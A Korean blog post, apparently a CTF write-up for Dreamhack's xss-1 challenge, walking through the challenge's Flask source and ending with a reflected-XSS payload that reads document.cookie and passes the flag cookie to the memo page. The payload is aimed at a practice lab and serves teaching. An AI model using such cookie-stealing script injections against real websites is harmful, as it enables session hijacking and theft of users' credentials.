해당 문제에 대한 정보는 다음과 같다.
접속 정보를 통해 문제 사이트를 확인해보면 아래 이미지와 같은 화면이 나왔다
맨 처음에 vuln(xss) page를 클릭하면 아래와 같은 경고창이 나온다.
memo 버튼을 클릭하니 hello 문구가 나왔다.
그런데 여기서 hello 버튼을 누르때마다 출력되는 hello 값이 하나씩 증가하는 것을 볼 수 있다.
flag를 클릭하니 다음과 같은 화면을 볼 수 있었고 아마 저기 빈칸에 어떤 값을 넣고 제출하면 플래그 값이 나올것 같다.
해당 페이지에 대한 내용은 다음과 같다.
1. xss 페이지
param을 인자 이름으로 하여 get을 통해 받아오고 그 값을 return 한다.
2. memo 페이지
memo_text를 global 변수로 설정하며 그 값을 (memo 파라미터를 통해 받은 값) + '\n'으로 설정한다. 그리고 memo.html 파일에 그 값을 작성한다.
3. flag 페이지
플래그 페이지는 get과 post 부분으로 나뉘어진다.
현재 get으로 받은 상태이고, 제출 버튼을 누르면 post로 넘어가게 된다. 이후 입력한 값을 param으로 받게 되며 check_xss 함수에 param과 FLAG를 같이 넣어준다.
페이지 관련 내용만으로는 감이 안와서 함께 주어진 소스코드도 확인해보자.
아래 부분을 보고 플래그 값에 ./flag.txt를 넣어 제출해보았더니
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
아래와 같이 알림창에 good이라는 메시지가 나온다.
소스코드를 통해 나머지 부분을 더 분석해보자.
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
xss 페이지에서 문자열 필터링 없기 때문에 xss 파라미터에 스크립트 구문을 삽입할 경우 해당 구문이 동작한다. 이때 memo 페이지에서는 replace 함수를 이용하여 memo 파라미터에 '<' 문자열을 '<' 문자열로 치환하기 때문에 별도의 우회로직이 존재하지 않는 한, 스크립트 구문을 삽입하기 어렵다.
flag 페이지에서는 read_url 함수를 실행시키며 함수 정상 동작 시 goo이라는 알림창을 띄운다.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
read_url 함수는 flag 페이지에서 xss 값을 입력 후 전송하면, 로컬호스트 환경에서 웹 페이지 접속 후, FLAG 값을 쿠키로 추가하며 사용자로부터 입력받은 xss 값을 이용하여 xss 페이지를 실행한다.
따라서 flag 페이지에서 xss 파라미터를 조작하여 로컬호스트 환경에서 FLAG가 적힌 쿠키 값이 추가되면, 해당 쿠키값을 memo 페이지의 매개변수로 전달하고 memo 페이지에 FLAG를 작성하도록 한다.
공격 구문
xss=<script>window.open('http://127.0.0.1:8000/memo?memo='+document.cookie)</script>
공격 구문을 script 태그와 함께 제출하면
memo 부분에서 flag 값이 나오는 것을 확인할 수 있었다.
해당 플래그를 드림핵 페이지에 작성하니 문제를 해결할 수 있었다.
[참고자료]
https://fascination-euna.tistory.com/entry/Dreamhack-xss-1?category=1074572
'CTF' 카테고리의 다른 글
[Webhacking.kr] old-23 write-up (0) | 2023.11.14 |
---|---|
[Dreamhack] xss-2 write-up (0) | 2023.11.04 |
[Dreamhack] DOM XSS write-up (1) | 2023.11.04 |
[XSS-GAME] level5(reflected xss) write-up (0) | 2023.11.04 |
[LOS] orc write-up (0) | 2023.11.01 |